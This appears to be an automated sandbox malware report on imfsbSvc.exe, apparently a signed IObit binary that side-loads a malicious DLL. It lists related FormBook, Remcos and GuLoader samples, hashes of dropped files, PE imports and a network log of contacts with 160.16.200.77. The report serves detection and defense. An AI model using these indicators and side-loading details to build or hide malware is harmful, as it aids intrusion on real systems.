	RFQ.docx	Get hash	malicious	FormBook	Browse	153.121.40.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	inseminating.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	160.16.200.77
	Salary Revision _pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	160.16.200.77
	oS6KsQIqJxe038Y.exe	Get hash	malicious	DarkCloud, PureLog Stealer	Browse	160.16.200.77
	faktura461250706050720242711#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	160.16.200.77
	rXVQIR00071840-180218627117.exe	Get hash	malicious	FormBook, GuLoader	Browse	160.16.200.77
	SOLICITUD DE PRESUPUESTO 27-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	160.16.200.77
	factura_461250706050720242711#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	160.16.200.77
	Purchase-Order27112024.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	160.16.200.77
	Update.js	Get hash	malicious	NetSupport RAT	Browse	160.16.200.77
	z34SOLICITUDDEP.vbs	Get hash	malicious	Remcos, GuLoader	Browse	160.16.200.77

Process:	C:\Users\user\Desktop\imfsbSvc.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	261120
Entropy (8bit):	6.439095548023039
Encrypted:	false
SSDEEP:	6144:aJG8G4Z2pZcMx+/HTAOx+CbWHlouxsMnWU:CFMZjxaMA+CbWHldW
MD5:	43F3F328248DA7BDA95407968604FF0B
SHA1:	7D9EA7C8934D293429103FD0F8F58B370BD1249B
SHA-256:	B2B617E62353A672626C13CC7AD81B27F23F91282AAD7A3A0DB471D84852A9AC
SHA-512:	4FA1F97BEE76DFF470F25CDBAD71A1B152E5E4896F824E078B9634E53FCB02FEEE203350767B9AC11A763A04D9CD7A3DC0D946D14129F3BDBD7A7FB78050A7DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[....}.O.}.O.}.O...O.}.O...O.}.O...O.}.OM..N.}.OM..N.}.OM..N.}.O..{O.}.O.}.O`}.O...N.}.O...N.}.O...N.}.ORich.}.O........................PE..d..."p.d.........." .........Z......Pr.......................................`............`.................................................<...P............0...............P..,...p...8............................................................................text............................... ..`.rdata..............................@..@.data....>..........................@....pdata.......0......................@..@.reloc..,....P......................@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\IObit\dbindex.dat

Download File

Process:	C:\Users\user\Desktop\imfsbSvc.exe
File Type:	data
Category:	modified
Size (bytes):	131065
Entropy (8bit):	7.9987745357371525
Encrypted:	true
SSDEEP:	3072:zaNVm/i2SD6ixL7x6oC3bwmNU4MNTVI7nBHM+ZNWqdiTOz2:pi2ajL78kJdXM2oW64R
MD5:	B706F4806DC88611873CADEB3AD1FF97
SHA1:	DFE752F103E8E0CDB6EE419A5E753A451488420C
SHA-256:	1A38303FB392CCC5A88D236B4F97ED404A89C1617F34B96ED826E7BB7257E296
SHA-512:	76576B52092CE91E00824B41F8D04570BB2BEFECC2E45C8027E31AB802E752C2B47156F3BEFF6F1B1CD8181AA9A9275F02D9DD11BF8E3AC54B12F8F93EC39FBD
Malicious:	false
Reputation:	low
Preview:	...W..j.F...8.F...!....L[...o.p.N.~S...{G.t.y9Bu......8...Y...z..2.n...\|..Y.jR>.b...G.m.....;....x.....@9...).vp.P.....p.6g..'T.7Sx...p.......%J\|<..d:....Z.9gN ....._:....yLr.8....].s,..ff.6......../.].-.\eQ..y.....+.UZ_.>+"......$..c.V.P.....[..w.....4.f....&...j...b.GA$.N]W.!...d....3..8..bB...NR........X,..qE..b+.M.u......H\.pX}.v.3i.....st..M......G.....f...e...?.......X...ZLV......V..$x.l..I.};;](T'.e.'....;.l..x@.10...9...`..r]..J.;#2.....U..\|,~!.I..(:..^..:_..S3..g^.R...I._.....(B\|d..k-.....h....T.YM.0.c.B..M.=? ...@O....r.....H.4.ws.Q.....r....Y@.....VR...(....%...^....:[.....(.D1.. ........o.OV...4.T..IJ.3...Ei.aR...PUT.X.I...q.0..K....gW..N.,J..5.sHd..s..{UZQ.lw.,....<..*5....m<T1.........bC.....m...V."7.8Os...E..s.&zY...DE!_.$....h.N{.oF.b..WW..........o.W........}..v..H.B..1.P.t%.....Z.z.Y.F...MJu.~{..$.@a".^..Rd..\m....l...#..4y.:..LX.c.}."......_J...[.Luw....o....3j.,U=".`..?..\|.._...\|.ojk.v+......a...........-.x..

C:\ProgramData\IObit\imfsbDll.dll

Download File

Process:	C:\Users\user\Desktop\imfsbSvc.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	621264
Entropy (8bit):	5.743772810032184
Encrypted:	false
SSDEEP:	6144:BZNQxws72WY28YXHuXP+pNRT2El1WZ2RxTX/jo620lJu:BZuxwsCWY2RTtR17nu
MD5:	45D7997340065904AE092AC427C54F41
SHA1:	6CD5114BEDF9C867B32558EE961FBF052A2A125D
SHA-256:	05840DE7FA648C41C60844C4E5D53DBB3BC2A5250DCB158A95B77BC0F68FA870
SHA-512:	38281505C2695BBB9D0FC398B9192A3C07C04788817452B98516EEE6944DB5B356B79299E7D1C434DB6CC2AF55A9C22D0DFCEA1874035163E5418F62DC76F9DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.v.............a.u.....a.c..............................$................................Rich....................PE..d.....9a.........." .........................."}..........................................`..................................................I..P....p...........U...:...@.......... ...8............................................@...............................text...X........................... ..`.rdata..............................@..@.data...\9...........~..............@....pdata..._.......`..................@..@.idata..I(...@...*..................@..@.rsrc........p.......$..............@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\ProgramData\IObit\imfsbSvc.exe

Download File

Process:	C:\Users\user\Desktop\imfsbSvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	347344
Entropy (8bit):	6.337397239640206
Encrypted:	false
SSDEEP:	6144:ZEtNasNqZsBotlNFVK12krBAixDbJeRG+2RzV5F0Xmbv9OiLLMyc5:ZEtNYZ3tlNFVo24AixPJqavLZc5
MD5:	CA73DA8345DE507AC023D52B4B5C1814
SHA1:	EF32667DE23715EF2903B185C08ED9B5DC7CFEED
SHA-256:	5B88F7D36FE435CD6944BDA05F1758F64C7D5136A5F529A58522AC3B0DC9743A
SHA-512:	B5140EF135E8CAFC7A6C3B7AAA514612E3EA6A25653C925385421C2BBBA75CD51BD228AC5C671DE383555658573293C1E20A93950AE1BE52E86DA6780AEE4339
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......f..."..."..."....1.'....3.....2.,...8..#.......*.......6............g..+....g..:......!...".........#......7....?.#...".W. ......#...Rich"...................PE..d.....9a.........."......d..........p..........@.............................`......^.....`.................................................<........0...........7.......@...P.......;..T...........................`;...............................................text....c.......d.................. ..`.rdata...5.......6...h..............@..@.data...............................@....pdata...7.......8..................@..@.gfids....... ......................@..@.rsrc........0... ..................@..@.reloc.......P......................@..B................................................................................................................................................................

C:\ProgramData\IObit\imfsbSvc.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\imfsbSvc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.337397239640206
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	imfsbSvc.exe
File size:	347'344 bytes
MD5:	ca73da8345de507ac023d52b4b5c1814
SHA1:	ef32667de23715ef2903b185c08ed9b5dc7cfeed
SHA256:	5b88f7d36fe435cd6944bda05f1758f64c7d5136a5f529a58522ac3b0dc9743a
SHA512:	b5140ef135e8cafc7a6c3b7aaa514612e3ea6a25653c925385421c2bbba75cd51bd228ac5c671de383555658573293c1e20a93950ae1be52e86da6780aee4339
SSDEEP:	6144:ZEtNasNqZsBotlNFVK12krBAixDbJeRG+2RzV5F0Xmbv9OiLLMyc5:ZEtNYZ3tlNFVo24AixPJqavLZc5
TLSH:	E6747D45F3E418E5EA6BC13989A3D51BE67278111760DBDF0370826A3F23BD16A3DB21
File Content Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......f..."..."...".....1.'.....3.......2.,....8..#.......*.......6............g..+....g..:.......!..."...........#.......7.....?.#..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14001f170
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6139C8DD [Thu Sep 9 08:42:05 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	e20cce52935dcbdf120d0fe332168d10

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=DigiCert EV Code Signing CA, OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	27/08/2019 02:00:00 30/08/2022 14:00:00
Subject Chain	CN="IObit CO., LTD", O="IObit CO., LTD", L=Chengdu, S=Sichuan, C=CN, SERIALNUMBER=91510107072412418F, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.1="Wuhou District, Chengdu", OID.1.3.6.1.4.1.311.60.2.1.2=Sichuan, OID.1.3.6.1.4.1.311.60.2.1.3=CN
Version:	3
Thumbprint MD5:	627EB5F58AA7BB5E49C3ED2D92DD61FD
Thumbprint SHA-1:	C2D65E12D4FC8DB328577D74F4BD417FEC0F28B1
Thumbprint SHA-256:	0686186695953609414F4D551738F90203E37E2E651CBB2E7CDB6F033E0EB155
Serial:	0D98F5DF96C592C5B76BFDE1CB823096

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F77C8B65120h
dec eax
add esp, 28h
jmp 00007F77C8B64AA7h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0001C9C9h]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F77C8B679F9h
dec eax
lea eax, dword ptr [0001CA59h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
xor eax, eax
dec eax
mov dword ptr [ecx+10h], eax
dec eax
lea eax, dword ptr [0001CA4Fh]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [0001CA34h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
dec eax
lea eax, dword ptr [0001C975h]
dec eax
mov dword ptr [ecx], eax
dec eax
add ecx, 08h
jmp 00007F77C8B67A42h
int3
dec eax
mov dword ptr [esp+08h], ebx
push edi
dec eax
sub esp, 20h
dec eax
lea eax, dword ptr [0001C957h]
dec eax
mov edi, ecx
dec eax
mov dword ptr [ecx], eax
mov ebx, edx
dec eax
add ecx, 08h
call 00007F77C8B67A1Fh
test bl, 00000001h
je 00007F77C8B64C2Fh
mov edx, 00000018h
dec eax
mov ecx, edi
call 00007F77C8B645E5h
dec eax
mov eax, edi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
add esp, 20h

Rich Headers

Programming Language:

[IMP] VS2015 UPD3.1 build 24215
[ C ] VS2015 UPD3.1 build 24215
[C++] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4893c	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1fd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x4e000	0x37a4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x50c00	0x40d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x55000	0x6a8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x43b00	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x43b60	0x94	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x38000	0xcb8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x363a3	0x36400	adaed845aa76e95b19ef6d1b9451fad4	False	0.5539449524769585	data	6.392642559878584	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x38000	0x135a8	0x13600	5f82a5eab9777181ed6c7c5b5e0435ee	False	0.4251260080645161	data	5.113273953227112	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4c000	0x1fb4	0xc00	b219f7da6d9e6f8fc66fb1911b8d4f13	False	0.19108072916666666	data	2.5572052693801814	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x4e000	0x37a4	0x3800	1e90241e3e01b5bbab8207d7289818f8	False	0.474609375	data	5.5830297706186185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0x52000	0xe4	0x200	28b7de2b64e0f9465b393905f515b86f	False	0.328125	Linux/i386 core file of '\' (signal 55)	2.0399083813350414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x53000	0x1fd0	0x2000	a4de5172aee8728eca667ce5837ba7e3	False	0.4366455078125	data	4.546132680078495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x55000	0x6a8	0x800	1bb762a032ac4543e7d043213ed3acb2	False	0.57666015625	data	5.002880185935442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_RCDATA	0x53100	0x1a00	PE32+ executable (DLL) (GUI) x86-64, for MS Windows	English	United States	0.4307391826923077
RT_VERSION	0x54b00	0x34c	data	English	United States	0.47393364928909953
RT_MANIFEST	0x54e50	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
imfsbDll.dll	SbieDll_IsOpenClsid, SbieApi_IsBoxEnabled, SbieDll_RunSandboxed, SbieApi_CallZero, SbieApi_CallOne, SbieApi_GetVersion, SbieApi_GetWork, SbieApi_GetHomePath, SbieApi_EnumProcessEx, SbieApi_SetUserName, SbieApi_GetUnmountHive, SbieDll_FormatMessage2, SbieDll_ComCreateStub, SbieDll_RunFromHome, SbieApi_QueryProcess, SbieDll_PortName, SbieApi_QueryProcessPath, SbieApi_QueryProcessEx2, SbieApi_QueryProcessInfo, SbieApi_QueryPathList, SbieDll_KillOne, SbieDll_FreeMem, SbieDll_QueueCreate, SbieDll_QueueGetReq, SbieDll_QueuePutRpl, SbieApi_QueryConf, SbieApi_CheckInternetAccess, SbieApi_QueryConfBool, SbieApi_CallTwo, SbieApi_SessionLeader, SbieApi_LogEx, SbieApi_Log, SbieApi_ReloadConf, SbieApi_OpenProcess, SbieDll_GetLanguage, SbieDll_FormatMessage0, SbieDll_GetServiceRegistryValue
ntdll.dll	NtWriteFile, RtlLookupFunctionEntry, RtlVirtualUnwind, RtlUnwindEx, RtlPcToFileHeader, NtReadFile, NtSetInformationFile, NtQueryInformationFile, NtQueryDirectoryFile, NtCreateFile, RtlSetDaclSecurityDescriptor, RtlNtStatusToDosError, NtAllocateVirtualMemory, NtLoadDriver, RtlInitUnicodeString, NtReplyWaitReceivePort, NtRequestPort, NtCreatePort, NtUnloadKey, NtOpenKey, NtOpenFile, NtClose, NtQueryKey, NtQuerySystemInformation, NtLoadKey, RtlCreateSecurityDescriptor, NtQueryInformationProcess, NtSetInformationThread, NtOpenProcessToken, NtOpenThreadToken, NtQueryInformationToken, NtDuplicateToken, NtFilterToken, NtConnectPort, NtRequestWaitReplyPort, NtAcceptConnectPort, NtCompleteConnectPort, NtImpersonateClientOfPort, NtOpenDirectoryObject, NtSetInformationProcess, NtOpenProcess, NtDuplicateObject, RtlCaptureContext
KERNEL32.dll	EncodePointer, InitializeSListHead, GetSystemTimeAsFileTime, QueryPerformanceCounter, IsProcessorFeaturePresent, GetStartupInfoW, SetUnhandledExceptionFilter, IsDebuggerPresent, UnhandledExceptionFilter, CloseHandle, GetLastError, HeapCreate, HeapAlloc, HeapFree, GetProcessHeap, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, SetEvent, WaitForSingleObject, CreateMutexW, OpenMutexW, CreateEventW, OpenEventW, Sleep, ExitProcess, TerminateProcess, CreateThread, GetCurrentThread, OpenProcess, GetTickCount, CreateFileMappingW, OpenFileMappingW, MapViewOfFile, UnmapViewOfFile, GetProcAddress, GlobalAlloc, GlobalLock, GlobalUnlock, GlobalFree, LocalFree, WaitForMultipleObjects, GetEnvironmentVariableW, TlsFree, GetFullPathNameW, GetPrivateProfileStringW, CreateFileW, SetFilePointer, WriteFile, OutputDebugStringW, DuplicateHandle, SetLastError, GetProcessTimes, GetCurrentProcess, SetThreadPriority, TerminateThread, GetLocalTime, GetVersionExW, VirtualAlloc, VirtualFree, VirtualAllocEx, VirtualProtectEx, ReadProcessMemory, WriteProcessMemory, GetModuleHandleA, LoadResource, LockResource, SizeofResource, LocalAlloc, FindResourceW, GetSystemWindowsDirectoryW, ResetEvent, GetCurrentProcessId, GetCurrentThreadId, ProcessIdToSessionId, IsProcessInJob, GetModuleHandleW, GlobalSize, LoadLibraryW, RegisterWaitForSingleObject, UnregisterWait, CreateJobObjectW, AssignProcessToJobObject, QueryInformationJobObject, SetInformationJobObject, AllocConsole, GetConsoleWindow, GetConsoleProcessList, RaiseException, InitializeCriticalSectionAndSpinCount, GetCommandLineW, GetSystemInfo, CancelIo, DefineDosDeviceW, OpenThread, TlsAlloc, TlsGetValue, TlsSetValue, ResumeThread, QueueUserWorkItem, GetExitCodeProcess, DeleteFileW, GetFileAttributesW, SetEndOfFile, SetFileAttributesW, HeapReAlloc, GetWindowsDirectoryW, CopyFileW, SuspendThread, CreateProcessW, GetModuleFileNameW, MulDiv, FreeLibrary, LoadLibraryExW, GetStringTypeW, GetModuleHandleExW, GetModuleFileNameA, MultiByteToWideChar, WideCharToMultiByte, GetStdHandle, GetACP, GetFileType, LCMapStringW, FindClose, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, HeapSize, GetConsoleCP, GetConsoleMode, SetFilePointerEx, FlushFileBuffers, SetCurrentDirectoryW, WriteConsoleW
USER32.dll	GetClassLongPtrA, GetClassLongPtrW, GetDesktopWindow, GetParent, EnumChildWindows, FindWindowA, FindWindowW, FindWindowExA, FindWindowExW, GetShellWindow, EnumWindows, EnumThreadWindows, GetClassNameA, GetClassNameW, GetWindowThreadProcessId, GetWindow, GetIconInfo, ChangeDisplaySettingsExA, ChangeDisplaySettingsExW, MonitorFromWindow, GetWindowInfo, UserHandleGrantAccess, PackDDElParam, RegisterClassExW, ShowWindow, BeginPaint, EndPaint, GetMonitorInfoW, GetClientRect, GetPropW, GetPropA, SetPropW, ReleaseDC, GetDC, GetClassLongW, IsWindowEnabled, IsWindowUnicode, KillTimer, EnumClipboardFormats, GetClipboardData, GetClipboardSequenceNumber, IsZoomed, IsIconic, IsWindowVisible, SetWindowPos, DestroyWindow, IsWindow, CreateWindowExW, RegisterClassW, DefWindowProcW, PostMessageW, PostMessageA, SendNotifyMessageW, SendNotifyMessageA, SendMessageTimeoutW, SendMessageW, SendMessageA, GetProcessWindowStation, SetProcessWindowStation, CreateWindowStationW, GetThreadDesktop, SetThreadDesktop, CreateDesktopW, EmptyClipboard, SetClipboardData, CloseClipboard, OpenClipboard, SetTimer, DispatchMessageW, GetMessageW, wsprintfW, GetClassLongA, GetWindowLongPtrW, GetWindowLongPtrA, GetWindowLongW, GetWindowLongA, MapWindowPoints, ScreenToClient, ClientToScreen, ClipCursor, SetCursorPos, SetForegroundWindow, GetWindowRect
ADVAPI32.dll	CreateProcessAsUserW, OpenThreadToken, DuplicateTokenEx, OpenProcessToken, AdjustTokenPrivileges, LookupAccountSidW, LookupPrivilegeValueW, RegCloseKey, RegOpenKeyExW, RegQueryValueExW, ConvertStringSidToSidW, ConvertStringSecurityDescriptorToSecurityDescriptorW, RegOpenUserClassesRoot, RegOpenCurrentUser, GetSecurityDescriptorSacl, GetTokenInformation, InitializeSecurityDescriptor, SetSecurityDescriptorDacl, SetTokenInformation, SetSecurityInfo, CloseServiceHandle, ControlService, EnumServicesStatusExW, OpenSCManagerW, OpenServiceW, StartServiceW, OpenEventLogW, ReportEventW, RegisterServiceCtrlHandlerExW, SetServiceStatus, StartServiceCtrlDispatcherW, RevertToSelf, SetThreadToken, AddAccessAllowedAce, DuplicateToken, GetLengthSid, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, CryptAcquireContextW, CryptReleaseContext, CryptGetHashParam, CryptCreateHash, QueryServiceStatusEx, QueryServiceConfig2W, CryptHashData, CryptDestroyHash, EnumServicesStatusW, QueryServiceConfigW
PSAPI.DLL	GetModuleBaseNameW, EnumProcessModules
ole32.dll	CreateStreamOnHGlobal, CoInitializeEx, CoInitialize, CoRevokeClassObject, CoRegisterClassObject, CoGetObject, CoTaskMemFree, StringFromGUID2, CoCopyProxy, CoSetProxyBlanket, CoQueryProxyBlanket, CoInitializeSecurity, CoUnmarshalInterface, CoMarshalInterface, CoGetClassObject
CRYPT32.dll	CryptProtectData, CryptUnprotectData
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock
GDI32.dll	TextOutW, DeleteDC, GetDIBits, GetMetaFileBitsEx, GetEnhMetaFileBits, CreateFontW, CreateSolidBrush, GetDeviceCaps, SelectObject, SetBkColor, CreateCompatibleDC, SetTextColor
NETAPI32.dll	NetUseAdd
WTSAPI32.dll	WTSQueryUserToken
RPCRT4.dll	RpcStringFreeW, RpcBindingToStringBindingW, RpcMgmtEpEltInqBegin, RpcMgmtEpEltInqDone, RpcMgmtEpEltInqNextW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 13:22:05.627372026 CET	49714	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:05.918209076 CET	8443	49714	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:06.429929972 CET	49714	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:06.717936993 CET	8443	49714	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:07.226639032 CET	49714	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:07.521785975 CET	8443	49714	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:08.023266077 CET	49714	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:08.309600115 CET	8443	49714	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:08.820187092 CET	49714	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:09.117733955 CET	8443	49714	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:09.576124907 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:09.576143026 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:09.576268911 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:09.587311029 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:09.587316990 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.213711977 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.214070082 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.250976086 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.251025915 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.251535892 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.251728058 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.253238916 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.293656111 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.741791964 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.741863966 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.741960049 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.742053032 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.742098093 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.742108107 CET	443	49715	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:10.742146969 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.742296934 CET	49715	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:10.809813976 CET	49716	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:11.116426945 CET	80	49716	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:11.116667032 CET	49716	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:11.116792917 CET	49716	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:11.424304962 CET	80	49716	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:11.424747944 CET	80	49716	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:11.424948931 CET	49716	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:11.982680082 CET	49717	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:12.268776894 CET	8443	49717	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:12.772196054 CET	49717	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:13.057615042 CET	8443	49717	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:13.569180965 CET	49717	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:13.854578018 CET	8443	49717	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:14.365576982 CET	49717	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:14.651010990 CET	8443	49717	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:15.162266016 CET	49717	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:15.447675943 CET	8443	49717	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:15.512854099 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:15.512912035 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:15.513092041 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:15.513284922 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:15.513325930 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.137121916 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.137341022 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.137770891 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.137799978 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.139347076 CET	49718	443	192.168.11.20	160.16.200.77
